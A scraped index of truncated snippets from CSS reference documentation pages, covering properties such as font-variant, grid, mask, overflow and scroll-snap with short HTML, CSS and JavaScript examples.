font-variant-east-asian - CSS: Cascading Style Sheets
::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | [ <east-asian-variant-values> || <east-asian-width-values> || ruby ]where <east-asian-variant-values> = [ jis78 | jis83 | jis90 | jis04 | simplified | traditional ]<east-asian-width-values> = [ full-width | proportional-width ] examples setting east asian glyph variants this example require font "yu gothic" installed in your os, other fonts may not support opentype features.
... html <table> <thead></thead> <tbody style="border:0;"> <tr> <th>normal/jis78:</th> <td>麹町</td> <td class="jis78">麹町</td> </tr> <tr> <th>normal/ruby:</th> <td>しんかんせん</td> <td class="ruby">しんかんせん</td> </tr> <tr> <th>normal/traditional:</th> <td>大学</td> <td class="traditional">大学</td> </tr> </tbody> </table> css td{ font-family:"yu gothic"; font-size:20px; } th{ color:grey; padding-right:10px; } .ruby { font-variant-east-asian: ruby; } .jis78 { font-variant-east-asian: jis78; } .traditional{ font-variant-east-asian: traditional; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-east-asian' in...
font-variant-ligatures - CSS: Cascading Style Sheets
ig-values> || <contextual-alt-values> ]where <common-lig-values> = [ common-ligatures | no-common-ligatures ]<discretionary-lig-values> = [ discretionary-ligatures | no-discretionary-ligatures ]<historical-lig-values> = [ historical-ligatures | no-historical-ligatures ]<contextual-alt-values> = [ contextual | no-contextual ] examples setting font ligatures and contextual forms html <link href="//fonts.googleapis.com/css?family=lora" rel="stylesheet"> <p class="normal"> normal<br> if fi ff tf ft jf fj </p> <p class="none"> none<br> if fi ff tf ft jf fj </p> <p class="common-ligatures"> common-ligatures<br> if fi ff tf ft jf fj </p> <p class="no-common-ligatures"> no-common-ligatures<br> if fi ff tf ft jf fj </p> <p class="discretionary-ligatures"> discretionary-ligature...
...s<br> if fi ff tf ft jf fj </p> <p class="no-discretionary-ligatures"> no-discretionary-ligatures<br> if fi ff tf ft jf fj </p> <p class="historical-ligatures"> historical-ligatures<br> if fi ff tf ft jf fj </p> <p class="no-historical-ligatures"> no-historical-ligatures<br> if fi ff tf ft jf fj </p> <p class="contextual"> contextual<br> if fi ff tf ft jf fj </p> <p class="no-contextual"> no-contextual<br> if fi ff tf ft jf fj </p> <p class="contextual"> contextual<br> if fi ff tf ft jf fj </p> css p { font-family: lora, serif; } .normal { font-variant-ligatures: normal; } .none { font-variant-ligatures: none; } .common-ligatures { font-variant-ligatures: common-ligatures; } .no-common-ligatures { font-variant-ligatures: no-common-ligatures; } .di...
font-variant-numeric - CSS: Cascading Style Sheets
typediscrete formal syntax normal | [ <numeric-figure-values> | <numeric-spacing-values> | <numeric-fraction-values> | ordinal | slashed-zero ]where <numeric-figure-values> = [ lining-nums | oldstyle-nums ]<numeric-spacing-values> = [ proportional-nums | tabular-nums ]<numeric-fraction-values> = [ diagonal-fractions | stacked-fractions ] examples setting ordinal numeric forms html <p class="ordinal">1st, 2nd, 3rd, 4th, 5th</p> css /* this example uses the source sans pro opentype font, developed by adobe and used here under the terms of the sil open font license, version 1.1: http://scripts.sil.org/cms/scripts/page.php?item_id=ofl_web */ @font-face { font-family: "source sans pro"; font-style: normal; font-weight: 400; src: url("https://mdn.mozillademos.org/files/15757/sou...
...rcesanspro-regular.otf") format("opentype"); } .ordinal { font-variant-numeric: ordinal; font-family: "source sans pro"; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-numeric' in that specification.
font-variation-settings - CSS: Cascading Style Sheets
syntax /* use the default settings */ font-variation-settings: normal; /* set values for variable font axis names */ font-variation-settings: "xhgt" 0.7; /* global values */ font-variation-settings: inherit; font-variation-settings: initial; font-variation-settings: unset; values this property's value can take one of two forms: normal text is laid out using default settings.
... here are the registered axes along with their corresponding css properties: axis tag css property "wght" font-weight "wdth" font-stretch "slnt" (slant) font-style: oblique + angle "ital" font-style: italic "opsz" font-optical-sizing custom axes can be anything the font designer wants to vary in their font, for example ascender or descender heights, the size of serifs, or anything else they can imagine.
gap (grid-gap) - CSS: Cascading Style Sheets
WebCSSgap
examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; flex-wrap: wrap; width: 300px; gap: 20px 5px; } #flexbox > div { border: 1px solid green; background-color: lime; flex: 1 1 auto; width: 100px; height: 50px; } result grid layout html <div id="grid"> <div></div> <div></div> <div></di...
...v> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #grid { grid-gap: 20px 5px; } #grid { display: grid; height: 200px; grid-template: repeat(3, 1fr) / repeat(3, 1fr); gap: 20px 5px; } #grid > div { border: 1px solid green; background-color: lime; } result multi-column layout html <p class="content-box"> this is some multi-column text with a 40px column gap created with the css <code>gap</code> property.
grid-column - CSS: Cascading Style Sheets
if two <grid-line> values are given they are separated by "/".
...] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid column size and location html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template-columns: repeat(6, 1fr); grid-template-rows: 100px; } #item1 { background-color: lime; } #item2 { background-color: yellow; grid-column: 2 / 4; } #item3 { background-color: blue; grid-column: span 2 / 7; } result specifications...
grid-template-areas - CSS: Cascading Style Sheets
syntax /* keyword value */ grid-template-areas: none; /* <string> values */ grid-template-areas: "a b"; grid-template-areas: "a b b" "a c d"; /* global values */ grid-template-areas: inherit; grid-template-areas: initial; grid-template-areas: unset; values none the grid container doesn’t define any named grid areas.
... formal definition initial valuenoneapplies togrid containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | <string>+ examples specifying named grid areas html <section id="page"> <header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> css #page { display: grid; width: 100%; height: 250px; grid-template-areas: "head head" "nav main" "nav foot"; grid-template-rows: 50px 1fr 30px; grid-template-columns: 150px 1fr; } #page > header { grid-area: head; ...
grid - CSS: Cascading Style Sheets
WebCSSgrid
constituent properties this property is a shorthand for the following css properties: grid-auto-columns grid-auto-flow grid-auto-rows grid-template-areas grid-template-columns grid-template-rows syntax /* <'grid-template'> values */ grid: none; grid: "a" 100px "b" 1fr; grid: [linename1] "a" 100px [linename2]; grid: "a" 200px "b" min-content; grid: "a" minmax(100px, max-content) "b" 20%; grid: 100px / 200px; grid: minmax(400px, min-content) / repeat(auto-fill, 50px); /* <'grid-template-rows'> / [ auto-flow && dense?
.../ <'grid-template-columns'> examples creating a grid layout html <div id="container"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #container { display: grid; grid: repeat(2, 60px) / auto-flow 80px; } #container > div { background-color: #8ca0ff; width: 50px; height: 50px; } result specifications specification status comment css grid layoutthe defi...
image-orientation - CSS: Cascading Style Sheets
flip ] examples orienting image from image data css #image { image-orientation: from-image; /* can be changed in the live sample */ } html <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="orientation taken from the image"> <select id="imageorientation"> <option value="from-image">from-image</option> <option value="none">none</option> </select> javascript var imageorientation = document.getelementbyid("imageorientation"); imageorientation.addeventlistener("change", function (evt) { document.getele...
...mentbyid("image").style.imageorientation = evt.target.value; }); result specifications specification status comment css images module level 3the definition of 'image-orientation' in that specification.
image-rendering - CSS: Cascading Style Sheets
in particular, scaling algorithms that "smooth" colors are acceptable, such as bilinear interpolation.
... <div> <img class="auto" alt="auto" src="https://udn.realityripple.com/samples/de/cedd397be3.jpg" /> <img class="pixelated" alt="pixelated" src="https://udn.realityripple.com/samples/de/cedd397be3.jpg" /> <img class="crisp-edges" alt="crisp-edges" src="https://udn.realityripple.com/samples/de/cedd397be3.jpg" /> </div> img { height: 200px; } css .auto { image-rendering: auto; } .pixelated { -ms-int...
ime-mode - CSS: Cascading Style Sheets
WebCSSime-mode
description unlike internet explorer, firefox's implementation of ime-mode allows this property on <input type="password">.
... <input type="text" name="name" value="initial value" style="ime-mode: disabled"> note: you shouldn't rely on disabling ime to prevent extended characters from passing through your form.
justify-content - CSS: Cascading Style Sheets
evenly | stretch<overflow-position> = unsafe | safe<content-position> = center | start | end | flex-start | flex-end examples setting flex item distribution css #container { display: flex; justify-content: space-between; /* can be changed in the live sample */ } #container > div { width: 100px; height: 100px; background: linear-gradient(-45deg, #788cff, #b4c8ff); } html <div id="container"> <div></div> <div></div> <div></div> </div> <select id="justifycontent"> <option value="start">start</option> <option value="end">end</option> <option value="flex-start">flex-start</option> <option value="flex-end">flex-end</option> <option value="center">center</option> <option value="left">left</option> <option value="right">right</option> <option value="baseline...
...">baseline</option> <option value="first baseline">first baseline</option> <option value="last baseline">last baseline</option> <option value="space-between" selected>space-between</option> <option value="space-around">space-around</option> <option value="space-evenly">space-evenly</option> <option value="stretch">stretch</option> </select> javascript var justifycontent = document.getelementbyid("justifycontent"); justifycontent.addeventlistener("change", function (evt) { document.getelementbyid("container").style.justifycontent = evt.target.value; }); result specifications specification status comment css box alignment module level 3the definition of 'justify-content' in that specification.
left - CSS: Cascading Style Sheets
WebCSSleft
inition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the width of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples positioning elements html <div id="wrap"> <div id="example_1"> <pre> position: absolute; left: 20px; top: 20px; </pre> <p>the only containing element for this div is the main window, so it positions itself in relation to it.</p> </div> <div id="example_2"> <pre> position: relative; top: 0; right: 0; </pre> <p>relative position in relation to its siblings.</p> </di...
...v> <div id="example_3"> <pre> float: right; position: relative; top: 20px; left: 20px; </pre> <p>relative to its sibling div above, but removed from flow of content.</p> <div id="example_4"> <pre> position: absolute; bottom: 10px; right: 20px; </pre> <p>absolute position inside of a parent with relative position</p> </div> <div id="example_5"> <pre> position: absolute; right: 0; left: 0; top: 200px; </pre> <p>absolute position with both left and right declared</p> </div> </div> </div> css #wrap { width: 700px; margin: 0 auto; background: #5c5c5c; } pre { white-space: pre; white-space: pre-wrap; white-space: pre-line; word-wrap: b...
line-break - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | loose | normal | strict | anywhere examples setting text wrapping see whether the text is wrapped before "", "" and "".
... html <div lang="ja"> <p class="wrapbox auto">auto:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p> <p class="wrapbox loose">loose:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p> <p class="wrapbox normal">normal:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p> <p class="wrapbox strict">strict:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p> <p class="wrapbox anywhere">anywhere:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美�...
list-style-position - CSS: Cascading Style Sheets
formal definition initial valueoutsideapplies tolist itemsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax inside | outside examples setting list item position html <ul class="inside">list 1 <li>list item 1-1</li> <li>list item 1-2</li> <li>list item 1-3</li> <li>list item 1-4</li> </ul> <ul class="outside">list 2 <li>list item 2-1</li> <li>list item 2-2</li> <li>list item 2-3</li> <li>list item 2-4</li> </ul> <ul class="inside-img">list 3 <li>list item 3-1</li> <li>list item 3-2</li> <li>list item 3-3</li> <li>list item 3-4</li> </ul> css .ins...
...ide { list-style-position: inside; list-style-type: square; } .outside { list-style-position: outside; list-style-type: circle; } .inside-img { list-style-position: inside; list-style-image: url("https://mdn.mozillademos.org/files/11979/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-position' in that specification.
list-style-type - CSS: Cascading Style Sheets
ul { list-style: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valuediscapplies tolist itemsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <counter-style> | <string> | nonewhere <counter-style> = <counter-styl...
...e-name> | symbols()where <counter-style-name> = <custom-ident> examples setting list item markers html list 1 <ol class="normal"> <li>hello</li> <li>world</li> <li>what's up?</li> </ol> list 2 <ol class="shortcut"> <li>looks</li> <li>like</li> <li>the</li> <li>same</li> </ol> css ol.normal { list-style-type: upper-alpha; } /* or use the shortcut "list-style": */ ol.shortcut { list-style: upper-alpha; } result specifications specification status comment css counter styles level 3the definition of 'list-style-type' in that specification.
list-style - CSS: Cascading Style Sheets
ul { list-style: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:list-style-type: disclist-style-position: outsidelist-style-image: noneapplies tolist itemsinheritedyescomputed valueas each of t...
...he properties of the shorthand:list-style-image: none or the image with its uri made absolutelist-style-position: as specifiedlist-style-type: as specifiedanimation typediscrete formal syntax <'list-style-type'> | <'list-style-position'> | <'list-style-image'> examples setting list style type and position html list 1 <ul class="one"> <li>list item1</li> <li>list item2</li> <li>list item3</li> </ul> list 2 <ul class="two"> <li>list item a</li> <li>list item b</li> <li>list item c</li> </ul> css .one { list-style: circle; } .two { list-style: square inside; } result specifications specification status comment css lists module level 3the definition of 'list-style' in that specification.
mask-border - CSS: Cascading Style Sheets
the source for the mask is a ".png" file of 90 by 90 pixels, with three diamonds going vertically and horizontally: html <div id="bitmap">this element is surrounded by a bitmap-based mask border!
...s currently supported in chromium -webkit-mask-box-image-source: url(https://udn.realityripple.com/samples/2d/fd08a3134c.png); -webkit-mask-box-image-slice: 30 fill; -webkit-mask-box-image-width: 20px; -webkit-mask-box-image-repeat: round; -webkit-mask-box-image-outset: 1px; */ /* prefixed shorthand property currently supported in chromium */ -webkit-mask-box-image: url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / /* width */ 1px /* outset */ round; /* repeat */ /* updated standard shorthand property, not supported anywhere yet */ mask-border: url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* s...
mask-clip - CSS: Cascading Style Sheets
WebCSSmask-clip
order-box | padding-box | content-box examples clipping a mask to the border box css #masked { width: 100px; height: 100px; background-color: #8cffa0; margin: 20px; border: 20px solid #8ca0ff; padding: 20px; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-size: 100% 100%; mask-clip: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="clipbox"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> <option valu...
...e="no-clip">no-clip</option> </select> javascript var clipbox = document.getelementbyid("clipbox"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskclip = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-clip' in that specification.
mask-origin - CSS: Cascading Style Sheets
rgin-boxwhere <box> = border-box | padding-box | content-box examples setting mask origin to border-box css #masked { width: 100px; height: 100px; margin: 10px; border: 10px solid blue; background-color: #8cffa0; padding: 10px; mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-origin: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="origin"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> </select> jav...
...ascript var origin = document.getelementbyid("origin"); origin.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskorigin = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-origin' in that specification.
mask-position - CSS: Cascading Style Sheets
setting mask position css #wrapper { border: 1px solid black; width: 250px; height: 250px; } #masked { width: 250px; height: 250px; background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: no-repeat; mask-position: top right; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="wrapper"> <div id="masked"> </div> </div> <select id="maskposition"> <option value="top">top</option> <option value="center">center</option> <option value="bottom">bottom</option> <option value="top right" selected>top right</option> <option value="center center">center center</option> <option value="bottom left">bottom left</option> <option value="10px 20px">10px 20px</option> ...
... <option value="60% 20%">60% 20%</option> </select> javascript var maskposition = document.getelementbyid("maskposition"); maskposition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskposition = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-position' in that specification.
mask-repeat - CSS: Cascading Style Sheets
at-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2} examples setting repeat for a single mask css #masked { width: 250px; height: 250px; background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: repeat; /* can be changed in the live sample */ margin-bottom: 10px; } html content <div id="masked"> </div> <select id="repetition"> <option value="repeat-x">repeat-x</option> <option value="repeat-y">repeat-y</option> <option value="repeat" selected>repeat</option> <option value="space">space</option> <option value="round">round</option> <option value="no-repeat">no-repeat</option> </select> javascript content var repetition = document.getelementbyid("repetition"); repeti...
...tion.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskrepeat = evt.target.value; }); result multiple mask image support you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { mask-image: url('mask1.png'), url('mask2.png'); mask-repeat: repeat-x, repeat-y; } each image is matched with the corresponding repeat style, from first specified to last.
mask-type - CSS: Cascading Style Sheets
WebCSSmask-type
formal definition initial valueluminanceapplies to<mask> elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax luminance | alpha examples setting an alpha mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:alpha"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: ...
...100px; background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); } result setting a luminance mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:luminance"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); mask-type:luminance; } result specifications specification status comment css masking module level 1the definition of '...
max-width - CSS: Cascading Style Sheets
WebCSSmax-width
ritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute length or noneanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting max width in pixels in this example, the "child" will be either 150 pixels wide or the width of the "parent," whichever is smaller.
... html <div id="parent"> <div id="child"> fusce pulvinar vestibulum eros, sed luctus ex lobortis quis.
opacity - CSS: Cascading Style Sheets
WebCSSopacity
understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial value1.0applies toall elementsinheritednocomputed valuethe specified value, clipped in the range [0,1]animation typea number formal syntax <alpha-value>where <alpha-value> = <number> | <percentage> examples setting background opacity html <div class="light">you can barely see this.</div> <div class="medium">this is easier to see.</div> <div class="heavy">this is very easy to see.</div> css div { background-color: yellow; } .light { opacity: 0.2; /* barely see the text over the background */ } .medium { opacity: 0.5; /* see the text more clearly over the background */ } .heavy { opacity: 0.9; /* see the text very clearly over the backgr...
...ound */ } result setting opacity on hover html <img src="//developer.mozilla.org/static/img/opengraph-logo.png" alt="mdn logo" width="128" height="146" class="opacity"> css img.opacity { opacity: 1; filter: alpha(opacity=100); /* ie8 and lower */ zoom: 1; /* triggers "haslayout" in ie 7 and lower */ } img.opacity:hover { opacity: 0.5; filter: alpha(opacity=50); zoom: 1; } result specifications specification status comment css color module level 4the definition of 'opacity' in that specification.
overflow-inline - CSS: Cascading Style Sheets
d containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | hidden | clip | scroll | auto examples setting inline overflow behavior html <ul> <li><code>overflow-inline:hidden</code> — hides the text outside the box <div id="div1"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> <li><code>overflow-inline:scroll</code> — always adds a scrollbar <div id="div2"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> <li><code>overflow-inline:visible</code> — displays the text outside the box if needed <div id="div3"> abcdefghijklmopqrstuvwxyzabcdefg...
...hijklmopqrstuvwxyz </div> </li> <li><code>overflow-inline:auto</code> — on most browsers, equivalent to <code>scroll</code> <div id="div4"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> </ul> css #div1, #div2, #div3, #div4 { border: 1px solid black; width: 250px; margin-bottom: 12px; } #div1 { overflow-inline: hidden;} #div2 { overflow-inline: scroll;} #div3 { overflow-inline: visible;} #div4 { overflow-inline: auto;} result specifications specification status comment css overflow module level 3the definition of 'overflow-inline' in that specification.
overflow-x - CSS: Cascading Style Sheets
ck-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | hidden | clip | scroll | auto examples html <ul> <li><code>overflow-x:hidden</code> — hides the text outside the box <div id="div1"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> <li><code>overflow-x:scroll</code> — always adds a scrollbar <div id="div2"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> <li><code>overflow-x:visible</code> — displays the text outside the box if needed <div id="div3"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqr...
...stuvwxyz </div> </li> <li><code>overflow-x:auto</code> — on most browsers, equivalent to <code>scroll</code> <div id="div4"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> </ul> css #div1, #div2, #div3, #div4 { border: 1px solid black; width: 250px; margin-bottom: 12px; } #div1 { overflow-x: hidden;} #div2 { overflow-x: scroll;} #div3 { overflow-x: visible;} #div4 { overflow-x: auto;} result specifications specification status comment css overflow module level 3the definition of 'overflow-x' in that specification.
<percentage> - CSS: Cascading Style Sheets
examples width and margin-left <div style="background-color:navy;"> <div style="width:50%; margin-left:20%; background-color:chartreuse;"> width: 50%, left margin: 20% </div> <div style="width:30%; margin-left:60%; background-color:pink;"> width: 30%, left margin: 60% </div> </div> the above html will output: font-size <div style="font-size:18px;"> <p>full-size text (18px)</p> <p><span style="font-size:50%;">50% (...
...9px)</span></p> <p><span style="font-size:200%;">200% (36px)</span></p> </div> the above html will output: specifications specification status comment css values and units module level 4the definition of '<percentage>' in that specification.
<ratio> - CSS: Cascading Style Sheets
WebCSSratio
16/9 modern "widescreen" tv format.
... 239/100 "widescreen," anamorphic movie format.
right - CSS: Cascading Style Sheets
WebCSSright
oapplies topositioned elementsinheritednopercentagesrefer to the width of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples absolute and relative positioning using right html <div id="relative">relatively positioned</div> <div id="absolute">absolutely positioned</div> css #relative { width: 100px; height: 100px; background-color: #ffc7e4; position: relative; top: 20px; left: 20px; } #absolute { width: 100px; height: 100px; background-color: #ffd7c2; position: absolute; bottom: 10px; right: 20px; } result declaring both left and right when bot...
... html <div id="parent">parent <div id="nowidth">no width</div> <div id="width">width: 100px</div> </div> css div { outline: 1px solid #cccccc; } #parent { width: 200px; height: 200px; background-color: #ffc7e4; position: relative; } /* declare both a left and a right */ #width, #nowidth { background-color: #c2ffd7; position: absolute; left: 0; right: 0; } /* declare a width */ #width...
rotate - CSS: Cascading Style Sheets
WebCSSrotate
x, y, or z axis name plus angle value the name of the axis you want to rotate the affected element around ("x", "y", or "z"), plus an <angle> specifying the angle to rotate the element through.
... formal definition initial valuenoneapplies totransformable elementsinheritednocomputed valueas specifiedanimation typea transformcreates stacking contextyes formal syntax none | <angle> | [ x | y | z | <number>{3} ] && <angle> examples rotate an element on hover html <div> <p class="rotate">rotation</p> </div> css * { box-sizing: border-box; } html { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .rotate { transition: rotate 1s; } div:hover .rotate { rotate: 1 -0.5 1 180deg; } result specifications ...
scroll-margin-inline-end - CSS: Cascading Style Sheets
html the html that represents the blocks is very simple: <div class="scroller"> <div>1</div> <div>2</div> <div>3</div> <div>4</div> </div> css let's walk through the css.
...lows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
scroll-margin-inline-start - CSS: Cascading Style Sheets
html the html that represents the blocks is very simple: <div class="scroller"> <div>1</div> <div>2</div> <div>3</div> <div>4</div> </div> css let's walk through the css.
...s: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap points.
scroll-margin-inline - CSS: Cascading Style Sheets
html the html that represents the blocks is very simple: <div class="scroller"> <div>1</div> <div>2</div> <div>3</div> <div>4</div> </div> css let's walk through the css.
...lows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
scroll-snap-coordinate - CSS: Cascading Style Sheets
| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting scroll snap coordinates html <div id="container"> <div> <p>at coordinate (0, 0)</p> <div class="scrollcontainer coordinate0"> <div>1</div> <div>2</div> <div>3</div> </div> </div> <div> <p>at coordinate (25, 0)</p> <div class="scrollcontainer coordinate25"> <div>1</div> <div>2</div> <div>3</div> </div> </div> <div> <p>at coordinate (50, 0)</p> <div class="s...
...crollcontainer coordinate50"> <div>1</div> <div>2</div> <div>3</div> </div> </div> </div> css #container { display: flex; } #container > div:nth-child(-n+2) { margin-right: 20px; } .scrollcontainer { width: 100px; overflow: auto; white-space: nowrap; scroll-snap-type: mandatory; font-size: 0; } .scrollcontainer > div { width: 100px; height: 100px; display: inline-block; line-height: 100px; text-align: center; font-size: 50px; } .coordinate0 > div { scroll-snap-coordinate: 0 0; } .coordinate25 > div { scroll-snap-coordinate: 25px 0; } .coordinate50 > div { scroll-snap-coordinate: 50px 0; } .scrollcontainer > div:nth-child(even) { background-color: #87ea87; } .scrollcontainer > div:nth-child(odd) { background-color: #87cce...
scroll-snap-destination - CSS: Cascading Style Sheets
| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting scroll snap destination html <div id="container"> <div> <p>at coordinate (0, 0)</p> <div class="scrollcontainer destination0"> <div>1</div> <div>2</div> <div>3</div> </div> </div> <div> <p>at coordinate (25, 0)</p> <div class="scrollcontainer destination25"> <div>1</div> <div>2</div> <div>3</div> </div> </div> <div> <p>at coordinate (50, 0)</p> <div class=...
..."scrollcontainer destination50"> <div>1</div> <div>2</div> <div>3</div> </div> </div> </div> css #container { display: flex; } #container > div:nth-child(-n+2) { margin-right: 20px; } .scrollcontainer { width: 100px; overflow: auto; white-space: nowrap; scroll-snap-points-x: repeat(100%); scroll-snap-type: mandatory; scroll-snap-destination: 20px 0; font-size: 0; } .destination0 { scroll-snap-destination: 0 0; } .destination25 { scroll-snap-destination: 25px 0; } .destination50 { scroll-snap-destination: 50px 0; } .scrollcontainer > div { width: 100px; height: 100px; display: inline-block; line-height: 100px; text-align: center; font-size: 50px; } .scrollcontainer > div:nth-child(even) { background-color: #87ea87; } .s...
shape-outside - CSS: Cascading Style Sheets
when fetching, user agents must use "anonymous" mode, set the referrer source to the stylesheet's url, and set the origin to the url of the containing document.
...tage><hue> = <number> | <angle><linear-color-stop> = <color> <color-stop-length>?<linear-color-hint> = <length-percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples funneling text html <div class="main"> <div class="left"></div> <div class="right"></div> <p> sometimes a web page's text content appears to be funneling your attention towards a spot on the page to drive you to follow a particular link.
table-layout - CSS: Cascading Style Sheets
under the "fixed" layout method, the entire table can be rendered once the first table row has been downloaded and analyzed.
... this can speed up rendering time over the "automatic" layout method, but subsequent cell content might not fit in the column widths provided.
text-combine-upright - CSS: Cascading Style Sheets
